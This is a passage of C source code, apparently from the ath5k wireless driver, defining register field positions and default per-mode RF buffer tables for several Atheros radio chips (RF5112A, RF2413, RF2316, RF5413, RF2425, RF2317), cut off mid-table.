} #define AR5K_RF5112A_LOW_VC_CP { 2, 94, 2 } #define AR5K_RF5112A_PUSH_UP { 1, 254, 2 } /* Power consumption */ #define AR5K_RF5112A_PAD2GND { 1, 281, 1 } #define AR5K_RF5112A_XB2_LVL { 2, 1, 3 } #define AR5K_RF5112A_XB5_LVL { 2, 3, 3 } static const struct ath5k_rf_reg rf_regs_5112a[] = { {6, AR5K_RF_OB_2GHZ, AR5K_RF5112A_OB_2GHZ}, {6, AR5K_RF_DB_2GHZ, AR5K_RF5112A_DB_2GHZ}, {6, AR5K_RF_OB_5GHZ, AR5K_RF5112A_OB_5GHZ}, {6, AR5K_RF_DB_5GHZ, AR5K_RF5112A_DB_5GHZ}, {6, AR5K_RF_FIXED_BIAS_A, AR5K_RF5112A_FIXED_BIAS_A}, {6, AR5K_RF_FIXED_BIAS_B, AR5K_RF5112A_FIXED_BIAS_B}, {6, AR5K_RF_XPD_SEL, AR5K_RF5112A_XPD_SEL}, {6, AR5K_RF_PD_GAIN_LO, AR5K_RF5112A_PDGAINLO}, {6, AR5K_RF_PD_GAIN_HI, AR5K_RF5112A_PDGAINHI}, {6, AR5K_RF_PWD_130, AR5K_RF5112A_PWD(130)}, {6, AR5K_RF_PWD_131, AR5K_RF5112A_PWD(131)}, {6, AR5K_RF_PWD_132, AR5K_RF5112A_PWD(132)}, {6, AR5K_RF_PWD_136, AR5K_RF5112A_PWD(136)}, {6, AR5K_RF_PWD_137, AR5K_RF5112A_PWD(137)}, {6, AR5K_RF_PWD_138, AR5K_RF5112A_PWD(138)}, {6, AR5K_RF_PWD_166, AR5K_RF5112A_PWD(166)}, {6, AR5K_RF_PWD_167, AR5K_RF5112A_PWD(167)}, {6, AR5K_RF_HIGH_VC_CP, AR5K_RF5112A_HIGH_VC_CP}, {6, AR5K_RF_MID_VC_CP, AR5K_RF5112A_MID_VC_CP}, {6, AR5K_RF_LOW_VC_CP, AR5K_RF5112A_LOW_VC_CP}, {6, AR5K_RF_PUSH_UP, AR5K_RF5112A_PUSH_UP}, {6, AR5K_RF_PAD2GND, AR5K_RF5112A_PAD2GND}, {6, AR5K_RF_XB2_LVL, AR5K_RF5112A_XB2_LVL}, {6, AR5K_RF_XB5_LVL, AR5K_RF5112A_XB5_LVL}, {7, AR5K_RF_GAIN_I, AR5K_RF5112X_GAIN_I}, {7, AR5K_RF_MIXVGA_OVR, AR5K_RF5112X_MIXVGA_OVR}, {7, AR5K_RF_MIXGAIN_OVR, AR5K_RF5112X_MIXGAIN_OVR}, {7, AR5K_RF_MIXGAIN_STEP, AR5K_RF5112X_MIXGAIN_STEP}, {7, AR5K_RF_PD_DELAY_A, AR5K_RF5112X_PD_DELAY_A}, {7, AR5K_RF_PD_DELAY_B, AR5K_RF5112X_PD_DELAY_B}, {7, AR5K_RF_PD_DELAY_XR, AR5K_RF5112X_PD_DELAY_XR}, {7, AR5K_RF_PD_PERIOD_A, AR5K_RF5112X_PD_PERIOD_A}, {7, AR5K_RF_PD_PERIOD_B, AR5K_RF5112X_PD_PERIOD_B}, {7, AR5K_RF_PD_PERIOD_XR, AR5K_RF5112X_PD_PERIOD_XR}, }; /* Default mode specific settings */ static const struct ath5k_ini_rfbuffer rfb_5112a[] = { { 1, 0x98d4, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d0, { 0x03060408, 0x03070408, 0x03060408, 0x03060408, 0x03070408 } }, { 3, 0x98dc, { 0x00a020c0, 0x00a020c0, 0x00e020c0, 0x00e020c0, 0x00e020c0 } }, { 6, 0x989c, { 0x0f000000, 0x0f000000, 0x0f000000, 0x0f000000, 0x0f000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00800000, 0x00800000, 0x00800000, 0x00800000, 0x00800000 } }, { 6, 0x989c, { 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000 } }, { 6, 0x989c, { 0x00010000, 0x00010000, 0x00010000, 0x00010000, 0x00010000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00180000, 0x00180000, 0x00180000, 0x00180000, 0x00180000 } }, { 6, 0x989c, { 0x00600000, 0x00600000, 0x006e0000, 0x006e0000, 0x006e0000 } }, { 6, 0x989c, { 0x00c70000, 0x00c70000, 0x00c70000, 0x00c70000, 0x00c70000 } }, { 6, 0x989c, { 0x004b0000, 0x004b0000, 0x004b0000, 0x004b0000, 0x004b0000 } }, { 6, 0x989c, { 0x04480000, 0x04480000, 0x04480000, 0x04480000, 0x04480000 } }, { 6, 0x989c, { 0x004c0000, 0x004c0000, 0x004c0000, 0x004c0000, 0x004c0000 } }, { 6, 0x989c, { 0x00e40000, 0x00e40000, 0x00e40000, 0x00e40000, 0x00e40000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00fc0000, 0x00fc0000, 0x00fc0000, 0x00fc0000, 0x00fc0000 } }, { 6, 0x989c, { 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000 } }, { 6, 0x989c, { 0x043f0000, 0x043f0000, 0x043f0000, 0x043f0000, 0x043f0000 } }, { 6, 0x989c, { 0x000c0000, 0x000c0000, 0x000c0000, 0x000c0000, 0x000c0000 } }, { 6, 0x989c, { 0x02190000, 0x02190000, 0x02190000, 0x02190000, 0x02190000 } }, { 6, 0x989c, { 0x00240000, 0x00240000, 0x00240000, 0x00240000, 0x00240000 } }, { 6, 0x989c, { 0x00b40000, 0x00b40000, 0x00b40000, 0x00b40000, 0x00b40000 } }, { 6, 0x989c, { 0x00990000, 0x00990000, 0x00990000, 0x00990000, 0x00990000 } }, { 6, 0x989c, { 0x00500000, 0x00500000, 0x00500000, 0x00500000, 0x00500000 } }, { 6, 0x989c, { 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000 } }, { 6, 0x989c, { 0x00120000, 0x00120000, 0x00120000, 0x00120000, 0x00120000 } }, { 6, 0x989c, { 0xc0320000, 0xc0320000, 0xc0320000, 0xc0320000, 0xc0320000 } }, { 6, 0x989c, { 0x01740000, 0x01740000, 0x01740000, 0x01740000, 0x01740000 } }, { 6, 0x989c, { 0x00110000, 0x00110000, 0x00110000, 0x00110000, 0x00110000 } }, { 6, 0x989c, { 0x86280000, 0x86280000, 0x86280000, 0x86280000, 0x86280000 } }, { 6, 0x989c, { 0x31840000, 0x31840000, 0x31840000, 0x31840000, 0x31840000 } }, { 6, 0x989c, { 0x00f20080, 0x00f20080, 0x00f20080, 0x00f20080, 0x00f20080 } }, { 6, 0x989c, { 0x00270019, 0x00270019, 0x00270019, 0x00270019, 0x00270019 } }, { 6, 0x989c, { 0x00000003, 0x00000003, 0x00000003, 0x00000003, 0x00000003 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x000000b2, 0x000000b2, 0x000000b2, 0x000000b2, 0x000000b2 } }, { 6, 0x989c, { 0x00b02084, 0x00b02084, 0x00b02084, 0x00b02084, 0x00b02084 } }, { 6, 0x989c, { 0x004125a4, 0x004125a4, 0x004125a4, 0x004125a4, 0x004125a4 } }, { 6, 0x989c, { 0x00119220, 0x00119220, 0x00119220, 0x00119220, 0x00119220 } }, { 6, 0x989c, { 0x001a4800, 0x001a4800, 0x001a4800, 0x001a4800, 0x001a4800 } }, { 6, 0x98d8, { 0x000b0230, 0x000b0230, 0x000b0230, 0x000b0230, 0x000b0230 } }, { 7, 0x989c, { 0x00000094, 0x00000094, 0x00000094, 0x00000094, 0x00000094 } }, { 7, 0x989c, { 0x00000091, 0x00000091, 0x00000091, 0x00000091, 0x00000091 } }, { 7, 0x989c, { 0x00000012, 0x00000012, 0x00000012, 0x00000012, 0x00000012 } }, { 7, 0x989c, { 0x00000080, 0x00000080, 0x00000080, 0x00000080, 0x00000080 } }, { 7, 0x989c, { 0x000000d9, 0x000000d9, 0x000000d9, 0x000000d9, 0x000000d9 } }, { 7, 0x989c, { 0x00000060, 0x00000060, 0x00000060, 0x00000060, 0x00000060 } }, { 7, 0x989c, { 0x000000f0, 0x000000f0, 0x000000f0, 0x000000f0, 0x000000f0 } }, { 7, 0x989c, { 0x000000a2, 0x000000a2, 0x000000a2, 0x000000a2, 0x000000a2 } }, { 7, 0x989c, { 0x00000052, 0x00000052, 0x00000052, 0x00000052, 0x00000052 } }, { 7, 0x989c, { 0x000000d4, 0x000000d4, 0x000000d4, 0x000000d4, 0x000000d4 } }, { 7, 0x989c, { 0x000014cc, 0x000014cc, 0x000014cc, 0x000014cc, 0x000014cc } }, { 7, 0x989c, { 0x0000048c, 0x0000048c, 0x0000048c, 0x0000048c, 0x0000048c } }, { 7, 0x98c4, { 0x00000003, 0x00000003, 0x00000003, 0x00000003, 0x00000003 } }, }; /******************\ * RF2413 (Griffin) * \******************/ /* BANK 6 len pos col */ #define AR5K_RF2413_OB_2GHZ { 3, 168, 0 } #define AR5K_RF2413_DB_2GHZ { 3, 165, 0 } static const struct ath5k_rf_reg rf_regs_2413[] = { {6, AR5K_RF_OB_2GHZ, AR5K_RF2413_OB_2GHZ}, {6, AR5K_RF_DB_2GHZ, AR5K_RF2413_DB_2GHZ}, }; /* Default mode specific settings * XXX: a/aTurbo ??? */ static const struct ath5k_ini_rfbuffer rfb_2413[] = { { 1, 0x98d4, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d0, { 0x02001408, 0x02011408, 0x02001408, 0x02001408, 0x02011408 } }, { 3, 0x98dc, { 0x00a020c0, 0x00a020c0, 0x00e020c0, 0x00e020c0, 0x00e020c0 } }, { 6, 0x989c, { 0xf0000000, 0xf0000000, 0xf0000000, 0xf0000000, 0xf0000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x03000000, 0x03000000, 0x03000000, 0x03000000, 0x03000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x40400000, 0x40400000, 0x40400000, 0x40400000, 0x40400000 } }, { 6, 0x989c, { 0x65050000, 0x65050000, 0x65050000, 0x65050000, 0x65050000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00420000, 0x00420000, 0x00420000, 0x00420000, 0x00420000 } }, { 6, 0x989c, { 0x00b50000, 0x00b50000, 0x00b50000, 0x00b50000, 0x00b50000 } }, { 6, 0x989c, { 0x00030000, 0x00030000, 0x00030000, 0x00030000, 0x00030000 } }, { 6, 0x989c, { 0x00f70000, 0x00f70000, 0x00f70000, 0x00f70000, 0x00f70000 } }, { 6, 0x989c, { 0x009d0000, 0x009d0000, 0x009d0000, 0x009d0000, 0x009d0000 } }, { 6, 0x989c, { 0x00220000, 0x00220000, 0x00220000, 0x00220000, 0x00220000 } }, { 6, 0x989c, { 0x04220000, 0x04220000, 0x04220000, 0x04220000, 0x04220000 } }, { 6, 0x989c, { 0x00230018, 0x00230018, 0x00230018, 0x00230018, 0x00230018 } }, { 6, 0x989c, { 0x00280000, 0x00280000, 0x00280060, 0x00280060, 0x00280060 } }, { 6, 0x989c, { 0x005000c0, 0x005000c0, 0x005000c3, 0x005000c3, 0x005000c3 } }, { 6, 0x989c, { 0x0004007f, 0x0004007f, 0x0004007f, 0x0004007f, 0x0004007f } }, { 6, 0x989c, { 0x00000458, 0x00000458, 0x00000458, 0x00000458, 0x00000458 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x0000c000, 0x0000c000, 0x0000c000, 0x0000c000, 0x0000c000 } }, { 6, 0x98d8, { 0x00400230, 0x00400230, 0x00400230, 0x00400230, 0x00400230 } }, { 7, 0x989c, { 0x00006400, 0x00006400, 0x00006400, 0x00006400, 0x00006400 } }, { 7, 0x989c, { 0x00000800, 0x00000800, 0x00000800, 0x00000800, 0x00000800 } }, { 7, 0x98cc, { 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e } }, }; /***************************\ * RF2315/RF2316 (Cobra SoC) * \***************************/ /* BANK 6 len pos col */ #define AR5K_RF2316_OB_2GHZ { 3, 178, 0 } #define AR5K_RF2316_DB_2GHZ { 3, 175, 0 } static const struct ath5k_rf_reg rf_regs_2316[] = { {6, AR5K_RF_OB_2GHZ, AR5K_RF2316_OB_2GHZ}, {6, AR5K_RF_DB_2GHZ, AR5K_RF2316_DB_2GHZ}, }; /* Default mode specific settings */ static const struct ath5k_ini_rfbuffer rfb_2316[] = { { 1, 0x98d4, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d0, { 0x02001408, 0x02011408, 0x02001408, 0x02001408, 0x02011408 } }, { 3, 0x98dc, { 0x00a020c0, 0x00a020c0, 0x00e020c0, 0x00e020c0, 0x00e020c0 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0xc0000000, 0xc0000000, 0xc0000000, 0xc0000000, 0xc0000000 } }, { 6, 0x989c, { 0x0f000000, 0x0f000000, 0x0f000000, 0x0f000000, 0x0f000000 } }, { 6, 0x989c, { 0x02000000, 0x02000000, 0x02000000, 0x02000000, 0x02000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0xf8000000, 0xf8000000, 0xf8000000, 0xf8000000, 0xf8000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x95150000, 0x95150000, 0x95150000, 0x95150000, 0x95150000 } }, { 6, 0x989c, { 0xc1000000, 0xc1000000, 0xc1000000, 0xc1000000, 0xc1000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00080000, 0x00080000, 0x00080000, 0x00080000, 0x00080000 } }, { 6, 0x989c, { 0x00d50000, 0x00d50000, 0x00d50000, 0x00d50000, 0x00d50000 } }, { 6, 0x989c, { 0x000e0000, 0x000e0000, 0x000e0000, 0x000e0000, 0x000e0000 } }, { 6, 0x989c, { 0x00dc0000, 0x00dc0000, 0x00dc0000, 0x00dc0000, 0x00dc0000 } }, { 6, 0x989c, { 0x00770000, 0x00770000, 0x00770000, 0x00770000, 0x00770000 } }, { 6, 0x989c, { 0x008a0000, 0x008a0000, 0x008a0000, 0x008a0000, 0x008a0000 } }, { 6, 0x989c, { 0x10880000, 0x10880000, 0x10880000, 0x10880000, 0x10880000 } }, { 6, 0x989c, { 0x008c0060, 0x008c0060, 0x008c0060, 0x008c0060, 0x008c0060 } }, { 6, 0x989c, { 0x00a00000, 0x00a00000, 0x00a00080, 0x00a00080, 0x00a00080 } }, { 6, 0x989c, { 0x00400000, 0x00400000, 0x0040000d, 0x0040000d, 0x0040000d } }, { 6, 0x989c, { 0x00110400, 0x00110400, 0x00110400, 0x00110400, 0x00110400 } }, { 6, 0x989c, { 0x00000060, 0x00000060, 0x00000060, 0x00000060, 0x00000060 } }, { 6, 0x989c, { 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001 } }, { 6, 0x989c, { 0x00000b00, 0x00000b00, 0x00000b00, 0x00000b00, 0x00000b00 } }, { 6, 0x989c, { 0x00000be8, 0x00000be8, 0x00000be8, 0x00000be8, 0x00000be8 } }, { 6, 0x98c0, { 0x00010000, 0x00010000, 0x00010000, 0x00010000, 0x00010000 } }, { 7, 0x989c, { 0x00006400, 0x00006400, 0x00006400, 0x00006400, 0x00006400 } }, { 7, 0x989c, { 0x00000800, 0x00000800, 0x00000800, 0x00000800, 0x00000800 } }, { 7, 0x98cc, { 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e } }, }; /******************************\ * RF5413/RF5424 (Eagle/Condor) * \******************************/ /* BANK 6 len pos col */ #define AR5K_RF5413_OB_2GHZ { 3, 241, 0 } #define AR5K_RF5413_DB_2GHZ { 3, 238, 0 } #define AR5K_RF5413_OB_5GHZ { 3, 247, 0 } #define AR5K_RF5413_DB_5GHZ { 3, 244, 0 } #define AR5K_RF5413_PWD_ICLOBUF2G { 3, 131, 3 } #define AR5K_RF5413_DERBY_CHAN_SEL_MODE { 1, 291, 2 } static const struct ath5k_rf_reg rf_regs_5413[] = { {6, AR5K_RF_OB_2GHZ, AR5K_RF5413_OB_2GHZ}, {6, AR5K_RF_DB_2GHZ, AR5K_RF5413_DB_2GHZ}, {6, AR5K_RF_OB_5GHZ, AR5K_RF5413_OB_5GHZ}, {6, AR5K_RF_DB_5GHZ, AR5K_RF5413_DB_5GHZ}, {6, AR5K_RF_PWD_ICLOBUF_2G, AR5K_RF5413_PWD_ICLOBUF2G}, {6, AR5K_RF_DERBY_CHAN_SEL_MODE, AR5K_RF5413_DERBY_CHAN_SEL_MODE}, }; /* Default mode specific settings */ static const struct ath5k_ini_rfbuffer rfb_5413[] = { { 1, 0x98d4, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d0, { 0x00000008, 0x00000008, 0x00000008, 0x00000008, 0x00000008 } }, { 3, 0x98dc, { 0x00a000c0, 0x00a000c0, 0x00e000c0, 0x00e000c0, 0x00e000c0 } }, { 6, 0x989c, { 0x33000000, 0x33000000, 0x33000000, 0x33000000, 0x33000000 } }, { 6, 0x989c, { 0x01000000, 0x01000000, 0x01000000, 0x01000000, 0x01000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x1f000000, 0x1f000000, 0x1f000000, 0x1f000000, 0x1f000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00b80000, 0x00b80000, 0x00b80000, 0x00b80000, 0x00b80000 } }, { 6, 0x989c, { 0x00b70000, 0x00b70000, 0x00b70000, 0x00b70000, 0x00b70000 } }, { 6, 0x989c, { 0x00840000, 0x00840000, 0x00840000, 0x00840000, 0x00840000 } }, { 6, 0x989c, { 0x00980000, 0x00980000, 0x00980000, 0x00980000, 0x00980000 } }, { 6, 0x989c, { 0x00c00000, 0x00c00000, 0x00c00000, 0x00c00000, 0x00c00000 } }, { 6, 0x989c, { 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000 } }, { 6, 0x989c, { 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000 } }, { 6, 0x989c, { 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000 } }, { 6, 0x989c, { 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000 } }, { 6, 0x989c, { 0x00d70000, 0x00d70000, 0x00d70000, 0x00d70000, 0x00d70000 } }, { 6, 0x989c, { 0x00610000, 0x00610000, 0x00610000, 0x00610000, 0x00610000 } }, { 6, 0x989c, { 0x00fe0000, 0x00fe0000, 0x00fe0000, 0x00fe0000, 0x00fe0000 } }, { 6, 0x989c, { 0x00de0000, 0x00de0000, 0x00de0000, 0x00de0000, 0x00de0000 } }, { 6, 0x989c, { 0x007f0000, 0x007f0000, 0x007f0000, 0x007f0000, 0x007f0000 } }, { 6, 0x989c, { 0x043d0000, 0x043d0000, 0x043d0000, 0x043d0000, 0x043d0000 } }, { 6, 0x989c, { 0x00770000, 0x00770000, 0x00770000, 0x00770000, 0x00770000 } }, { 6, 0x989c, { 0x00440000, 0x00440000, 0x00440000, 0x00440000, 0x00440000 } }, { 6, 0x989c, { 0x00980000, 0x00980000, 0x00980000, 0x00980000, 0x00980000 } }, { 6, 0x989c, { 0x00100080, 0x00100080, 0x00100080, 0x00100080, 0x00100080 } }, { 6, 0x989c, { 0x0005c034, 0x0005c034, 0x0005c034, 0x0005c034, 0x0005c034 } }, { 6, 0x989c, { 0x003100f0, 0x003100f0, 0x003100f0, 0x003100f0, 0x003100f0 } }, { 6, 0x989c, { 0x000c011f, 0x000c011f, 0x000c011f, 0x000c011f, 0x000c011f } }, { 6, 0x989c, { 0x00510040, 0x00510040, 0x00510040, 0x00510040, 0x00510040 } }, { 6, 0x989c, { 0x005000da, 0x005000da, 0x005000da, 0x005000da, 0x005000da } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00004044, 0x00004044, 0x00004044, 0x00004044, 0x00004044 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x000060c0, 0x000060c0, 0x000060c0, 0x000060c0, 0x000060c0 } }, { 6, 0x989c, { 0x00002c00, 0x00002c00, 0x00003600, 0x00003600, 0x00002c00 } }, { 6, 0x98c8, { 0x00000403, 0x00000403, 0x00040403, 0x00040403, 0x00040403 } }, { 7, 0x989c, { 0x00006400, 0x00006400, 0x00006400, 0x00006400, 0x00006400 } }, { 7, 0x989c, { 0x00000800, 0x00000800, 0x00000800, 0x00000800, 0x00000800 } }, { 7, 0x98cc, { 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e } }, }; /***************************\ * RF2425/RF2417 (Swan/Nala) * * AR2317 (Spider SoC) * \***************************/ /* BANK 6 len pos col */ #define AR5K_RF2425_OB_2GHZ { 3, 193, 0 } #define AR5K_RF2425_DB_2GHZ { 3, 190, 0 } static const struct ath5k_rf_reg rf_regs_2425[] = { {6, AR5K_RF_OB_2GHZ, AR5K_RF2425_OB_2GHZ}, {6, AR5K_RF_DB_2GHZ, AR5K_RF2425_DB_2GHZ}, }; /* Default mode specific settings * XXX: a/aTurbo ? */ static const struct ath5k_ini_rfbuffer rfb_2425[] = { { 1, 0x98d4, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d0, { 0x02001408, 0x02001408, 0x02001408, 0x02001408, 0x02001408 } }, { 3, 0x98dc, { 0x00a020c0, 0x00a020c0, 0x00e020c0, 0x00e020c0, 0x00e020c0 } }, { 6, 0x989c, { 0x10000000, 0x10000000, 0x10000000, 0x10000000, 0x10000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00100000, 0x00100000, 0x00100000, 0x00100000, 0x00100000 } }, { 6, 0x989c, { 0x00020000, 0x00020000, 0x00020000, 0x00020000, 0x00020000 } }, { 6, 0x989c, { 0x00730000, 0x00730000, 0x00730000, 0x00730000, 0x00730000 } }, { 6, 0x989c, { 0x00f80000, 0x00f80000, 0x00f80000, 0x00f80000, 0x00f80000 } }, { 6, 0x989c, { 0x00e70000, 0x00e70000, 0x00e70000, 0x00e70000, 0x00e70000 } }, { 6, 0x989c, { 0x00140000, 0x00140000, 0x00140000, 0x00140000, 0x00140000 } }, { 6, 0x989c, { 0x00910040, 0x00910040, 0x00910040, 0x00910040, 0x00910040 } }, { 6, 0x989c, { 0x0007001a, 0x0007001a, 0x0007001a, 0x0007001a, 0x0007001a } }, { 6, 0x989c, { 0x00410000, 0x00410000, 0x00410000, 0x00410000, 0x00410000 } }, { 6, 0x989c, { 0x00810000, 0x00810000, 0x00810060, 0x00810060, 0x00810060 } }, { 6, 0x989c, { 0x00020800, 0x00020800, 0x00020803, 0x00020803, 0x00020803 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00001660, 0x00001660, 0x00001660, 0x00001660, 0x00001660 } }, { 6, 0x989c, { 0x00001688, 0x00001688, 0x00001688, 0x00001688, 0x00001688 } }, { 6, 0x98c4, { 0x00000001, 0x00000001, 0x00000001, 0x00000001, 0x00000001 } }, { 7, 0x989c, { 0x00006400, 0x00006400, 0x00006400, 0x00006400, 0x00006400 } }, { 7, 0x989c, { 0x00000800, 0x00000800, 0x00000800, 0x00000800, 0x00000800 } }, { 7, 0x98cc, { 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e, 0x0000000e } }, }; /* * TODO: Handle the few differences with swan during * bank modification and get rid of this */ static const struct ath5k_ini_rfbuffer rfb_2317[] = { { 1, 0x98d4, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d0, { 0x02001408, 0x02011408, 0x02001408, 0x02001408, 0x02011408 } }, { 3, 0x98dc, { 0x00a020c0, 0x00a020c0, 0x00e020c0, 0x00e020c0, 0x00e020c0 } }, { 6, 0x989c, { 0x10000000, 0x10000000, 0x10000000, 0x10000000, 0x10000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000, 0x002a0000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00100000, 0x00100000, 0x00100000, 0x00100000, 0x00100000 } }, { 6, 0x989c, { 0x00020000, 0x00020000, 0x00020000, 0x00020000, 0x00020000 } }, { 6, 0x989c, { 0x00730000, 0x00730000, 0x00730000, 0x00730000, 0x00730000 } }, { 6, 0x989c, { 0x00f80000, 0x00f80000, 0x00f80000, 0x00f80000, 0x00f80000 } }, { 6, 0x989c, { 0x00e70000, 0x00e70000, 0x00e70000, 0x00e70000, 0x00e70000 } }, { 6, 0x989c, { 0x00140100, 0x00140100, 0x00140100, 0x00140100, 0x00140100 } }, { 6, 0x989c, { 0x00910040, 0x00910040, 0x00910040, 0x00910040, 0x00910040 } }, { 6, 0x989c, { 0x0007001a, 0x0007001a, 0x0007001a, 0x0007001a, 0x0007001a } }, { 6, 0x989c, { 0x00410000, 0x00410000, 0x00410000, 0x00410000, 0x00410000 } }, { 6, 0x989c, { 